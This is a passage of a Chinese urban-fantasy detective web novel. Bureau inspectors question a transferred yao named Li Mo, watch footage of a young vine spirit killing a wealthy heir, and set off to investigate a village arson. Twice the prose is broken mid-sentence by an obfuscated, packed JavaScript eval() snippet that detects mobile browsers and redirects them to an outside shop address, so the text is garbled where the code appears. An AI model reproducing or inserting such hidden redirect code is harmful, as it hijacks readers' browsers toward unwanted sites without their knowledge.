周纬本来正要从口袋里掏了一根烟出来,正要点火,听了这话,他手上的打火机突然抖了抖,“噗”的一声,灭了。 没有人说话,只听得偶尔响起的压抑的啜泣。 连站在四楼的何昭华,听到这话都不由得眼神一黯,握着栏杆的手青筋暴起。 当时他听到门卫小刘的话,之所以那么冲动,很大一部分原因就是听到了李默的等级——A级。 A级是什么概念? 妖类等级分类中,B级是一道分水岭。B级以下,虽然有些妖类仗着五花八门的能力,也能对灵力者造成一定威胁,但总体而言都不会太难对付。一个训练有素的监察员,在武器装备的加持下,单打独斗战胜D级问题不大,若有队友支援,一般也可稳妥拿下C级。 但到了B级就需得慎重对待了。正常情况下面对B级妖类,需得异监局出动至少两个行动小组,方能在最大程度保证己方无伤亡、且不波及外界环境的情况下,将其捉拿或击杀。 而A级,更是立于巅峰之上,凤毛麟角的那一类。 珑湖市一座千万人口的国际化都市,自成立异监局以来几十年,不算李默这个空降的,剩下被明确记录为A级的妖类只有区区五个。其中三个只是短暂在珑湖出现过踪迹,另外一个是经异监局批准前两年搬来常住珑湖的……最后一个已经死了。 就是四年前那次针对A级妖类的作战行动,让整个珑湖市局付出了无比惨痛的代价。十数名外勤监察员牺牲,数十人受伤,整个异监局直接空了一小半……那段时间无论从哪个科室门前经过,都能听见里面传来压抑的哭声。 连周纬的前任都在那次行动中重伤致残,不得不早早退休。直到现在外勤队伍都没能从那次重大减员中恢复过来,只得不断加紧吸收新鲜血液、培养后备力量……所以周纬才那么重视洛小莉这个新人。 “A级妖类”就是刻在珑湖市异监局所有监察员心头,一道永远淌血的伤疤。 周纬低头,擦了两下打火机,重新点着了那支烟,深吸一口,吐出长长的一串白雾。 在袅袅升起的烟雾中,他环视全场。 他突然道:“李默不是我们的同事。” 众人都被他这突如其来的一句话一惊。 “他昨晚出现在了爱丽舍,与死者有过冲突,算是本案的涉案人之一,需要接受调查。在这种情况下,他的入职手续会被暂停,所以他目前不是监察员,也不是我们的同事。”周纬道:“但他也不会离开珑湖。” 人群中有人神色微动,慢慢反应了过来。 “你们心里有怨气,我不会要求你们憋着,内网谁都可以登录,写投诉信也好,联名上访也好,总部就在那里,你们掀了它我也不会有意见。”他缓缓扫视全场:“但你们现在这样,把案子撂下站在这里,是觉得自己很委屈,还是很光荣?你们是觉得那些牺牲的兄弟们在天上看见了会很骄傲?还是打算与那个妖类不共戴天,要是撵不走他,就干脆扒了这身制服?” 所有人浑身一震,惊骇抬头。虽然无人答话,但众人眼神已经说明了一切。 “身为监察员,我不会要求你们和妖类团结友爱,亲如一家。我只要求你们揣着监察员证一天,就牢记自己是什么人,肩上扛着什么责任。”周纬缓缓道:“那些牺牲的兄弟们把接力棒交到我们手里,不是让我们在这儿喊冤叫屈、意气用事的。爱丽舍里的那具尸体还没闭眼呢,现在最要紧的是干什么,不知道吗?” 他环顾四周,突然大喝一声:“拿出点专业的样子来!” “是!” 所有人肃然立正。许多人脸上还有不甘之色,但还是各自散去,回到了自己的岗位上。 寂静的监察大厅又重新喧哗起来。 “还得是你。” 何昭华从身后走来,拍了拍周纬的肩膀,却见他狠狠吸了一大口烟,挥挥手驱散面前的烟雾,脸上少见的露出了一丝疲惫。 “那个妖类呢?” “在楼上审讯室。”何昭华看了看他的神色:“你现在就要审他?” “对,这事儿赶早不赶晚。”周纬点了点头:“妖类调查员每到一地,按规定都要第一时间向当地异监局报备,这个李默却一声不吭地跑到了爱丽舍去。他可能跟马宏昇之死没什么关系,但我不相信他来珑湖这件事没什么蹊跷。” 他顿了顿:“这样也好。” “?”何昭华愣了愣,没听懂。 “总部不是想把他打发来珑湖吗?这段时间,我亲自跟着他。”周纬轻声道:“我给他个机会,让他证明严瑾的三年考察不是眼瞎,他确实是一个合格的监察员……但他最好别让我查出来有什么别的目的,否则,就算要挨总部一个处分,我也要让他滚出珑湖。” “或者……就让他永远留在珑湖。” 何昭华突然打了个寒颤,搭在周纬肩膀上的手僵住了。那一刻,他清晰地感受到,这个比自己还小几岁的队长身上,传来一阵他从未见过的阴沉狠戾。 7. 试探 “李默同志对吧?我们查到了你的航班信息,昨天晚上十点二十一分落地珑湖国际机场。按照规定,你抵达珑湖的第一时间就应该向我局报备,请问你为什么没有这么做?” “我确实按照规定给贵局打过电话,但未能接通,拨出记录在我的手机上应该还能查到。以防万一,我通过监察员APP登录内网,给贵局发了一封邮件,告知了我抵达珑湖的事,并说明我将会在今晨前来报到,不知贵局是否收到了这封邮件。” “这封邮件确实已经收到了,但是办公室同志上班后在内网邮箱发现的,时间上过于延迟了。既然你第一时间没有联系到市局,又为什么要在当夜就前往爱丽舍会所?” “因为我与人有约,约定的地方就是在爱丽舍。” “与什么人有约?约定做什么事?为什么要约在爱丽舍?” “与我有约的人名叫黄兴德,是一只D级耳鼠,在异监局有过登记备案。我约他是因为我初来乍到,没有住所,所以想请他帮助找一处房屋租住。至于约在爱丽舍是他提出来的,因为爱丽舍当晚是‘酒神节’,全场酒水半价。他虽然说是要为我接风洗尘,但我想,大概率还是因为他不想错过一年一度的自助餐饮和半价酒水吧……” …… 站在审讯室外的两人,此刻都是一脸肃然。何昭华开口道:“这个妖类比我们想象中的难对付。” “你以为呢?”周纬笑道:“人家毕竟是在总部待过六年的人,说不定有些审问套路人家比你还清楚。” 何昭华瞥他一眼:“那你还让实习生进去?” 周纬嬉皮笑脸道:“我也没说她不可以反对啊?” 何昭华:“……” 洛小莉确实没提出反对,因为她压根就没把李默放在眼里。 这小姑娘年龄不大身量不高,却天生一派公事公办的气场,接了周纬的任务二话没说,领了材料就进了审讯室。看那样子,别说里面是个两条腿的李默,就算是只顶天立地的恐龙,她也能昂首挺胸地进去问一嘴“姓名年龄身份证号”。 不过也多亏了她新入队,跟妖类没有什么渊源……因为全局上下,现在根本找不出第二个愿意跟李默共处一室的监察员。 “但这人滴水不漏,洛小莉根本打不开他的缺口。”何昭华焦急道:“怎么办?” 周纬想了想,按下面前话筒,对着洛小莉的耳机说:“问他是主动申请调职来珑湖,还是总部派他来的。” “?”何昭华愕然——这么直接的吗? 然后他就更加愕然的发现,方才还对答如流的李默,听到这个问题居然卡壳了。 犹豫了一下之后,李默才开口:“是我主动申请的。” 倒不是他不想撒谎,而是这事儿根本没法撒谎——是主动申请还是上级指派,打个电话去总部一问就知道,撒这种一戳就破的谎不光没什么用,还会给他自己找麻烦。 果然,都不用周纬指示,洛小莉下一个问题紧跟着就来了:“那你为什么想来珑湖?” 李默:“……” 是祸躲不过啊。 他心里暗叹一声,开了口。 “因为,总部的监察员对妖类有偏见,”他眨了眨眼,努力让自己显得“正直无辜”一点:“所以我想换个好一些的工作环境。” 洛小莉:“……” 审讯室外的两人:“……” 何昭华张口结舌片刻,转向周纬:“这是把咱们当傻子呢?” 周纬冷笑:“真是演都懒得演了。” 殊不知此时此刻,李默心里也十分无奈。 他何尝不知自己这谎话编的十分离谱,但问题是他就编不出不离谱的谎话——他根本就不会说谎。 李默这个人,人如其名,于口舌一道上,实在是没什么造诣。许多人觉得他沉默寡言,不好相处,实在是大大的冤枉——他纯属笨嘴拙舌,不会说话。 方才应对洛小莉的提问还算流畅,那是因为他说的都是真的——他确实给珑湖市局打过电话发过邮件,在爱丽舍见面也确实是黄兴德约的,就连租房也是确有其事——他只是隐去了关于严瑾的部分而已。 这样真假参半的谎话他还算能够应付,但若要让他完完全全无中生有,那可就是强人所难了。 好在李默别的优点没有,心胸倒还算得上宽敞。也许是因为身为妖类活得够久的缘故,不管心里怎么想的,面上却总能维持一派波澜不惊,情绪十分稳定。 这也没法不稳定。要是换个人来,新入职第一天就被一群从来没见过的同事用枪尖抵着脖子围攻,这会儿恐怕已经开始上演大闹天宫了。 李默对自己的不招人待见心知肚明。灵枷虽然压制了他的妖力,可对他的妖类之身却无甚影响,以他五感的灵敏程度,刚刚楼下监察大厅里发生的事,就算隔着一层楼板,对他来说也跟站在墙角旁听没什么区别。 难怪珑湖市局的监察员对他敌意这么大,原来是早有宿怨。 但那又有什么关系,反正他来珑湖,也不是来讨人喜欢的。 李默对被人讨厌这事儿驾轻就熟,因此十分不往心里去。既然第一印象就不怎么好,后续好像也没什么必要刻意维持。正好他也没别的说辞应付这场问询,既然编不出什么好话来,那就只能“本事不够,心态来凑”了。 这么想着,他面上就仍旧维持了那一番彬彬有礼的得体笑容——于是看在别人眼里,就全成了“你能奈我何”的挑衅。 就在这时,审讯室的门“咔哒”一声,开了。 “照这么说,我们珑湖市局全体上下,真该感激涕零,多谢李默同志青眼啊。” 哪怕是李默心再大,也听出了这句话里尖酸刻薄的意味,不由抬起头来,心想:“这就是正主了。” 方才偷听时,李默已将来龙去脉听了个清楚,当然也听出是一个年轻声音以一己之力将众人镇压了下来。后来这声音又出现在了洛小莉的耳机里,想必背后主导此次审讯的也是他。 此刻终于是本尊亲临了。 周纬这人估计是属猫的,明明旁边还有把空着的椅子,他却非看那张审讯桌顺眼,一屁股跳了上去,逼得洛小莉黑着脸手忙脚乱收拾资料,生怕慢了一步被周队垫了贵臀。 这么一上桌,周纬立马比李默高了一大截,也近了一大截。 他居高临下,背对着审讯室头顶的白炽灯光,眼角眉梢飞起的弧度几乎带出了逼人的压迫感,整个人都被镀上了一层白晃晃的光圈,近在咫尺地给了李默表演了一把什么叫“皮笑肉不笑”:“可惜不巧,李默同志似乎走到哪里,都会给哪里带来坏运气。” 李默猝不及防,身体情不自禁地后仰,呼吸一滞。 “这是要干什么?”李默混乱迷茫地想。 刹那间他闻到了周纬身上的气味——奇特的是并不像普通灵力者那样,带着自身鲜明的属性特征和对妖类难以抑制的吸引力。面前这个年轻人身上的气息飘飘渺渺,竟然十分清冽寡淡,宛如山间竹林里清晨升起的蔼蔼雾岚。 好在周纬现眼也只现了一刻,接着就直起身来,眉色十分冷淡地“哼”了一声道:“以你这种跟谁打交道谁暴毙的柯南体质,我们珑湖市局还真容不下你这尊大佛。” 李默对来珑湖的原因如此回避,周纬基本可以确定,他确实别有所图。只是图谋的是什么,一时半会儿却没有头绪。 同时他发现此人没有把柄。 就像之前说的,他对李默几乎没什么了解,想寻破绽也寻不出来。而且李默初来乍到,甚至还没来得及多生什么事端,周纬想找茬都没法找。 只是周纬这人面善心黑,耍性子耍习惯了,尤其不擅长受委屈,憋了气是一定要撒出来的。哪怕李默是块不好下嘴的王八壳儿,他也非得咬一口试试,当下就先不阴不阳地拿话刺了他一下,先出口气再说。 没成想,李默对这招接得十分茫然:“谁暴毙了?” “嗯?”这一下可出乎所有人的意料。周纬和洛小莉对视一眼,周纬一扬眉,道:“你不知道?” 李默摇了摇头,神色不似作伪。 “撒谎。”洛小莉立马一皱眉,道:“这事儿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091599|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上热搜了,你家难道没通网?” “实不相瞒,”李默苦笑道:“我其实不太会操作互联网。” 这是实话。饶是李默已经化形了不短的一段时间,却仍旧对人类世界的各种新奇产物非常头疼。前几年他没有身份证,甚至连智能机都没接触过,后来好不容易进了异监局,却仍旧跟不上日新月异的现代科技,一直在苦苦追赶而不得法。别说那些时兴的社媒他一概不会用,连当初教他使用监察员必备的专用APP,都废了好大一番功夫。 周纬沉吟片刻,当机立断道:“把案件资料拿来给他看。” 审讯室内外的人闻言都是一惊。外面何昭华对着话筒道:“老周,你确定?” 周纬对外面送出去一个“放心”的目光。 何昭华只好照办。不多时,一个监察员送进来一台笔电和一份资料,摆在李默面前。 李默诧异地看了看周纬:“确定要让我看吗?” “看看呗?”周纬挑眉笑道:“给你补补课,正好也让我们看看总部来的监察员的水平。” 他都这么说了,李默当然没有什么不敢看的,也不多废话,把拿来的那些资料从头到尾翻看了一遍,很快就抬起头来。 “唔……我不太擅长侦查推理,不一定能提出什么有用的意见。”这人上来先客气了一句,没等众人接话就接着道:“不过我觉得,里面倒确实有一处地方……有点奇怪。” 周纬做出“洗耳恭听”的姿势。 “这里。”李默把笔电转向他,同时在他面前铺开一张照片:“不觉得自相矛盾吗?” 洛小莉在旁边伸头探脑,只见笔电上正是那一段马宏昇押着女服务员走进包厢的监控录像,而照片上则是包厢里面满室藤蔓的样子。 她看得一头雾水,忍不住问道:“什么自相矛盾?” 周纬和李默异口同声:“凶手的行为。” 话音出口,这俩人才恍然惊觉,诧异地相互对视了一眼,又赶紧移开了目光。 李默的表情有些尴尬,而周纬此时想的却是:“小看他了。” 他一推笔电,干脆给洛小莉讲解了起来:“矛盾的地方就在这里。如果这女服务员就是凶手,那她又是长袍又是面具的,还特意挑了‘酒神节’这么个开放又混乱的日子行凶,明显就是想隐藏踪迹。但既然要隐藏踪迹,她杀人之后又放这么一大堆藤蔓在这里是什么意思?但凡是个人就能看出来这个凶案现场有异常,搞成这个样子,必然是要惊动异监局的,但是惊动了异监局对她又有什么好处?这不是自相矛盾是什么?” “对哦!”洛小莉恍然大悟。 与此同时,这不服输的小丫头心里又升起了一股浓浓的挫败感,她心想:“我怎么就没想到呢?” “那这说明什么?”洛小莉追问道:“这个女服务员不是凶手?” 周纬摇了摇头:“除了她和马宏昇,当晚没有人再出入过那个包厢。” 洛小莉突发奇想:“会不会是凶手提前一早就藏在了包厢里,然后躲在女服务员的长袍里一起出来了?或者那个凶手会隐身术?” 然后她就见李默轻轻一笑,周纬用一脸佩服的眼神看着她。 “大小姐,你当这演柯南吗?你看那女服务员的长袍里像是能藏下个人的样子吗?还有你什么时候见过会隐身术的植物系妖类?”周纬叹道:“而且就算你说的这一切都有可能,那不还是一样的吗?凶手行凶前后都要藏头露尾,那为什么偏偏非要留下这么个引人瞩目的案发现场?” 洛小莉:“……” 她的脸又一声不吭地涨红了。 李默终于看不下去了,出声打了个圆场:“不过这位……呃……女同志说得也有道理。如果这位女服务员确实是就是凶手,那一定有什么原因,导致了她前后行为的变化。” “唔……”周纬习惯性地敲了敲下巴:“这个嘛,倒是不难知道。” 李默和洛小莉一齐看向他。 只见周纬莞尔一笑:“我猜,那个所谓的加密‘黑盒’,现在应该也破解的差不多了。” 8. 幼藤 周队言出法随,果然很快,信息科就将解析好的黑盒监控视频送来了。 只是那送视频过来的监察员表情十分一言难尽。 “周队,可不是我没提醒过,这视频倒确实拍到了凶手行凶的过程,”会议室里,那监察员打开笔电,道:“只是这凶手跟咱们之前想的不太一样。” “怎么?”周纬挑眉道:“难不成这凶手是个男的,而且长得比我还帅?” 监察员:“……” 他对这种二十四小时自我感觉良好的队长无言以对,只好干巴巴地转回头去,播放起了视频。 “啪”的一声,是有人打开了灯。 视频画面刚好接上了马宏昇押着那女服务员走进包厢的一幕。马宏昇明显喝醉了,步子迈得东倒西歪,进了门就把那女服务员往包厢沙发上一推,随即就开始动手动脚。那女服务员像是吓得呆了,一动不动,不闪避也不推拒,任由马宏昇猪一样地在她身上拱来拱去,先是拆散了她盘起来的头发,又扯下了外面那层白色长袍。 “哎呀,小孩子快转过去。”周纬立马作势要去捂洛小莉的眼睛:“要长针眼了。” 洛小莉一把把他的手拍掉,愤怒道:“谁是小孩子!” 周纬讪讪一笑。与此同时,视频里的马宏昇一把掀开了女服务员的金色面具。 周纬的笑声戛然而止:“咦?” 面具下露出来的赫然是个美女,鹅蛋脸、柳叶眉、皮肤白皙,五官精巧,不管从哪个角度看都是个美人儿。 问题是这美人儿也太小了。之前穿着高跟鞋和宽大的长袍,身材上看不出什么来,可摘了面具一看,露出的那张脸至多不过十三四岁。 说少女都勉强,只能算是个小女孩儿。 何昭华立马把眼睛瞪圆了:“这是……刚化形吗?” 连周纬都是满脸诧异:“这可真是……没想到。” 妖类化形是不讲道理的——这个“不讲道理”,是指他们自己也控制不了。 不知从何时起,妖类似乎失去了以原形存身于世的资格。无关种族、无关年岁、无关修为,只要是灵智已开的妖类,都面临着一种无形的束缚——冥冥中似乎只要触碰到了某个界限,他们就会被强制脱去原身,化为人形,被扔到“人世间”这个五光十色、纷繁复杂的大染缸里,经受一番名为“世俗”的历练和考验。 听上去就跟小说里飞升成仙之前要先下凡渡劫历练一番似的,实际上却完全是那么回事儿。 在化形之前,妖类或久居深山,或潜渊入海,基本都生活在远离人烟的地方,对俗世凡情一窍不通。骤然化为人形,不说身体上不适应,他们心理上也很难转换过来——虽然有了人身,却还是把自己当野兽看。 这个阶段的妖类是最不可控的。他们不熟悉人类社会的生存方式,没有隐藏身份的意识,甚至会表现出强烈的攻击性,简直就是一颗行走的不定时炸弹。 而且该炸弹还跟普通人类没有任何区别,非得等他炸了才知道。异监局接手的许多案子都是化形初期的妖类惹出来的,是异监局最棘手的一类目标。 “化形初期的妖类不会立刻获得成人形态,也得跟人类一样,经历一个从小长大的过程。看她现在这个样子,化形了能有多久?”何昭华道:“半年?三个月?这小藤妖学会说话了么?” “不会说话,却会假扮成服务员混进会所里杀人?”周纬冷笑道:“这背后没人指使才有鬼。” 他一抬下巴:“接着往下放。” 进度条继续滚动。视频里马宏昇看到长袍下的服务员居然是一个小女孩儿,当即也是一愣。然而这“弱小可怜”的欺凌对象并没有激发出这人渣的人性,他脸上涌现出一种独属于变态的狂喜,狞笑着就要上手。 “小女孩儿”一挥手,一条灵蛇似的藤蔓从她袖口中钻出,当头将马宏昇抽成了滚地葫芦。 “嚯。”周纬轻轻拍了拍手,道:“抽得好。” 马宏昇先是被这当头一抽给抽懵了,随即就开始在地上翻滚嘶嚎。监控视频虽然是无声的,但从这人恨不得要把下巴嚎脱臼的样子,就可以看出他哭嚎之惨烈。 但是紧接着视频的走向就变得诡异了起来。 只见那小藤妖抽了马宏昇一下之后就再没了其他动作,呆坐在沙发上一动不动。而马宏昇嚎过了一阵,居然也一骨碌爬了起来。他脸上没有初见超自然生物的世界观崩坏和混乱,甚至都没有试图逃跑,而是干脆利落跪了下去,对着那小藤妖痛哭流涕地磕起头来。 小藤妖无动于衷。 马宏昇见磕头不行,遂稀里哗啦从身上掏出来一堆东西。他是富豪独子,身上掏得出来的钱包戒指看得出来都是奢侈品,可他却偏偏从腰带上解下来一串钥匙,拼命要往小藤妖那边送。然而这小藤妖不知是压根没听懂,还是在想什么出了神,只是呆呆地坐在远处,看着马宏昇演他的独角戏。 就这样持续了几分钟,小藤妖才突然开口——从口型上看,她似乎是问了马宏昇一句什么。 马宏昇一愣,却没答上来。 小藤妖脸上第一次露出失望的神色。 她一抬手,无数翠绿藤蔓从她双手袖管涌出,不断分裂、蔓延、生长。粗壮硕大的藤蔓渐渐爬满了整房间,将整个包厢装点成了一个翠绿地狱。几条成人手臂那么粗的藤蔓从天花板上探过来,将马宏昇头下脚上地吊起,慢慢地团了起来。蜿蜒生长的藤蔓爬满他的全身,将他压缩地越来越小、越来越小,最后——咔嚓! 马宏昇双目暴突,头颅一歪,露在外面的一截胳膊抽搐了几下,不动了。 他整个人已经被团得跟个篮球差不多大了。 小藤妖就在旁边默默看着。直到确定马宏昇死亡,她才慢吞吞地捡起地上的长袍和面具,费了半天劲重新穿戴好,恢复成“女服务员”的模样推开了包厢大门,临走还关上了灯。 视频进度条在黑暗中走到了尽头。 饶是身经百战的监察员们,亲眼目睹这种“现场直播”的残杀情景,一时也被镇得说不出话来。 半晌,何昭华长出一口气,转向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091600|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周纬:“怎么说?” “唔,”周纬沉吟一下:“主要有两点。” “第一,这个马宏昇应该不是第一次见到妖类。”周纬望向何昭华,何昭华也道:“这个我也看出来了,第一次见到妖类还被袭击的人,不该是这个反应。他这个样子更像是夜路走多了终于撞到鬼了。” 周纬点头道:“但是马宏昇确实货真价实是个普通人。如果他曾经见过妖类,那只能说明他身边还有别的妖类或者灵力者,有必要彻底地调查一遍他的社会关系。” 旁边听着的信息科监察员不禁一阵色苦——这种富二代不学无术专门败家,三教九流狐朋狗友不知有多少,要挨个排查又不知得是多大的工作量。 “第二,”周纬伸出第二根手指头:“我们在现场,并未发现马宏昇的那串钥匙。” 何昭华一愣:“什么?不是压在那满屋子的藤蔓下面了么” 周纬摇了摇头:“没有。我一直盯着那串钥匙,妖藤涌动的时候它被拱到了角落里,但还在露在地面上。但是今天早晨我到现场去的时候,那里什么都没有。” 何昭华蹙起了眉头。他没有质疑周纬是不是看漏了或者记错了——自家队长虽然大多数时候都很不靠谱,在查案的时候却有种异于常人的敏锐。他若说没有,那就必然是没有。 周纬原地踱了两步,习惯性地敲了敲下巴,抬头道:“从马宏昇的表现来看,他似乎以为那串钥匙可以救他一命,虽然最后没成功,但也足以证明那串钥匙是重要证物。监控视频中,那小藤妖离开的时候并没有动过那串钥匙,可钥匙却不见了,是谁拿走了?” 何昭华倒吸一口凉气:“还有别人进过案发现场?但走廊的监控视频先是并没有其他人进入过包厢啊?难道真是某个会隐形的妖类?”然而话刚出口他就否定了自己的想法:“不对,包厢里并没有第二种妖力残迹。” 周纬却微微皱起了眉头——不知为何,他又想起了那张莫名其妙出现在网络上的案发现场照片。 神秘失踪的钥匙,莫名出现的照片……这个看似简单的案发现场,到底还有多少人在其中干了多少他们不知道的事? 思索片刻,周纬抬起头来:“算了,现在线索还太少,来龙去脉理不清楚,先不管了。不过至少凶手已经确定,先看看能不能把人抓回来。” 何昭华会意:“从案发现场提取的妖力残迹已经输入烛照了,虽然是个刚化形的小妖,但只要她在珑湖范围内动用妖力,烛照就能立刻锁定她。” 周纬点头道:“那就交给你了,帮我跟赵局说一声,我要出去一趟。” 何昭华一愣:“去哪儿?” “有人故意在网络上放出案发现场照片,引出了马宏昇之前酒后纵火的案子,我总觉得不是巧合。”周纬道:“我已经跟公安那边要了那起火灾的资料,先走一趟,看看能不能发现什么线索。” 说罢,他弯下腰,用一种怪蜀黍诱拐小女孩般的语气,笑眯眯地对着起了一身鸡皮疙瘩的洛小丽开了口:“小萝莉,要不要一起来呀?” 9. 火灾 午后的盘山公路上空,阴云密布,山雨欲来。 一辆路虎卫士在空旷的出城高速上疾驰。 周纬这人一身纨绔气,自己经常打扮得花里胡哨,座驾却是一等一的豪迈霸气。路虎漆黑的车身沉重又不失雍容,奔驰在黑压压的乌云下,宛如狂野中恣意狂飙的一头黑豹。 ——只是这头黑豹有点儿吵。 只见路虎四面车窗全下,呼啸而过的风声中,强劲动感的音乐混合着劲爆的鼓点和激烈的电子音从顶配音响中扩散出来,在车身后擦出了一道嚣张跋扈的音流:“我要带着我的旗帜我的奖章带上我的兄弟们在山顶上面摆造型……” “默哥,麻烦你起开一点。”后座上的洛小丽一脸黑气:“待会儿我以下犯上刺杀领导的时候,别溅你一身血。” 副驾驶上的李默:“……” 正沉浸在自己的rap语速和美妙歌喉中,被灌了满耳朵说唱和山风的周纬兴奋地回过头来,满头黑发风中凌乱,大声道:“什么?听不见!” 李默端坐原地,面无表情。 他感觉自己就算再沉默寡言,出城的这短短半小时,也快把他半辈子的省略号用完了。 为免出城这一路都遭受魔音荼毒,一人一妖齐心合力,废了九牛二虎之力,好不容易才按下了这只发癫的领导。李默赶紧关了音响,然后及时把话题引到了正事上:“周队,敢问我们现在是要往哪里去?” 周纬脸上风吹出来的的绯红还未褪去,潇洒地大手一挥:“去查案。” 李默:“……” 他耐着性子问道:“所以是去哪里,查什么案子呢?” “啊……”周纬这才反应过来,李默并没有参加他们在会议室里的讨论,不耐烦地一咂嘴:“那什么,小萝莉,你把后座上文件夹里的东西拿出来,给咱们李默同志补补课。” 他们要去的地方叫做小张庄,正是发生马宏昇纵火案的那个村子。 这事儿说复杂也复杂,说简单倒也简单。 马宏昇的父亲马诚,是珑湖市有名的富豪,旗下集团主要经营餐饮、物流和旅游业,神通广大耳聪目明。几年前政府发展政策西移,想要在凤凰山开发一个自然风景旅游度假区,消息刚一传出,马诚就动作迅速地在附近圈了块地,建了一个度假村,打算乘着这股政府项目的东风,培植出一棵财源广进的摇钱树。 然而未曾想,项目批准了,资金到位了,承建公司都拉齐人马准备动工了,施工车开到山脚下,却兀然撞上了一群意想不到的人。 居然是一群颤颤巍巍的老头老太太。 这群人正是小张庄村民。小张庄背靠凤凰山,村民世代务农,祖祖辈辈都在凤凰山上埋着,开山破土等同于刨了他们祖坟。这种村落破旧落后,年轻人大多外出务工,只有一群年迈老人留守村里。老话说人越老越恋家,越老越固执,他们穷苦了一辈子,倒也不在乎剩下这几年能有多荣华富贵,只怕这一迁村,自己就要落得个埋骨他乡的下场。 于是几十个老人拿出了要一头撞死在挖掘机上的架势,用拐杖和扫帚拦住了施工队的去路,一拦就是一年多。 眼看这个项目要黄。 “凤凰山的项目没法落地,马诚那边的度假村就成了个只进不出的烧钱机器,前期投入都打了水漂,后期运营又是一大笔银子,你说他们肯不肯吃这个亏。”说到这里,周纬冷笑了一声:“我翻了一下警方的出警记录。之前小张庄就有过几次报警,说有流氓骚扰村里人,往井里扔粪墙上泼油漆之类的,打算逼迫村民们让路。网上不是扒出来这个马诚发家之前混过□□吗?能干出这种事来不稀奇。” “所以搞这些手段不成,他们就放了火?”洛小莉怒火中烧:“那为什么不判刑?” “要判的,只不过判的不是马宏昇而已。”周纬轻描淡写道:“当时放火的是两男两女四个人,其中一个男的一口咬定是自己喝醉了,提议趁着情人节出来放孔明灯,灯意外落到山下才点燃了民房,其他三个人拦他没拦住。这个人已经被提起公诉了,听说马氏给他请了最好的刑辩律师。马宏昇跟另外两个女生只是给定了个酒后滋事,在派出所待了不到半个月就出来了。” 这当然是扯淡——集团少爷在场,拦不住执意要放灯的小弟?用脚趾头想也知道这件事真正的主使是谁。 然而有时候所谓世道就是这么操蛋。当个替罪羊就有几十几百万到手,蹲几年大牢出来,后半辈子就可以衣食无忧,愿意接这活的恐怕不在少数——反正世界上从来不缺肯为了钱豁出命的人。 于是犯了罪的逍遥法外,拿了钱的心满意足,唯有翻滚在烈火和浓烟中的冤魂,还在暗无天日的地下无休无止地悲泣嚎哭。 这就是世情人心吗? 洛小莉突然觉得,幸好自己选择的是监察员这行,面对的都是些非人的生物,喊打喊杀也无需有什么顾忌。这样至少不用行走在这暧昧不明的世道上,边走边拷问自己的良心。 周纬三言两语说完了案情,也成功把一车人都说沉默了。 只是作为一个时常抽风的奇男子,周纬是万万见不得有他在的场合陷入沉默的。他把着方向盘不好回头,只得祸害旁边的李默,于是横肘戳了戳他:“诶,说说看法。” 李默正在低眉思索,冷不防被周纬突然一肘子戳在腰上,刹那间浑身汗毛都竖起来了,整个人一僵,愕然道:“你、你干什么……” “我让你说说对这个案子的看法啊?”周纬莫名其妙地看了他一眼:“你发什么呆呢?” 李默身为妖类,自以为人嫌狗不待见,别人一见他就退避三舍,周围自带三米真空圈,从来没遭受过这种堪称“轻佻”的突然袭击,顿时整个人都不好了,结结巴巴地道:“周队……非礼勿动。” “?”周纬心说:“什么毛病?” 他毫不客气地翻了个巨大的白眼:“你是什么黄花大闺女吗?这不让动那不让动,守身如玉等着出阁?” “……”李默开始怀疑自己跟这人八字犯冲。 要论嘴皮子工夫,再修炼一万年他也不是周纬的对手,于是只好转回身去,干巴巴地转移了话题:“有个问题我有些不解。” “天道有常,自古以来,杀人偿命都是天道正理。”李默道:“我虽然不太了解人类律法,但有人殒命于此,无论如何也不该将这四人判得这么轻。这其中是否别有内情?” “内情不内情的先不说,”没想到周纬截口打断了他:“有件事我之前就想说了,李默同志,你说话怎么总是文绉绉的?一股子霉味,你刚从土里挖出来?” 这回连洛小莉都从后座上投来疑惑和好奇的眼神。 确实,作为监察员,就算是初出茅庐的她,也不是没跟活的妖类打过交道,从没见过哪个妖类说话风格是这么复古的。 李默被两个人一前一后的眼神夹在中间,无处可逃,只好局促地笑了一下。 “我是从电视上学会的人类语言。片子选得不好,看多了古装剧,让周队见笑了。”他无奈地笑着:“我会努力改正的。” 周纬心里微动,侧脸看了一眼李默的神情,不自觉地心软了几分。 想来李默也是妖类,必然也跟那小藤妖一样,经历过化形初期人事不知的时候。懵懵懂懂的一个小孩童骤然被扔进人世这个大染缸里,听不懂、说不出、学不会,上无血亲下无师友,只能抱着电视稚拙地模仿人类说话的日子,想必也挺难熬的。 他心一软,语气也自然而然地跟着柔软了下来,道:“不是严瑾大监察官教的你么?” 李默浑身一滞,笑容顿时僵在了脸上。 好,露馅了。周纬心里冷笑一声。 他出来查案,还特意带上李默,除了整个珑湖市局都很膈应他之外,最主要还是为了能借机试探一下他来珑湖的目的。 事实证明妖类活得再长,在心眼的数量上还是没办法跟人类相提并论,稍稍试探就露了破绽。周纬现在几乎可以肯定,这家伙大老远跑来珑湖,大概率还是跟严瑾有关。 只见李默摇了摇头道:“我是在化形之后四年,才遇到严瑾大监察官的。” 周纬点了点头,心知现在再试探也问不出什么更多的来了,便从善如流地换了话题,解答了李默刚刚那个问题:“你说得对。毕竟死了个人,再怎么说也不能就这么轻判。马洪昇之所以能逍遥法外,还有两个原因。” 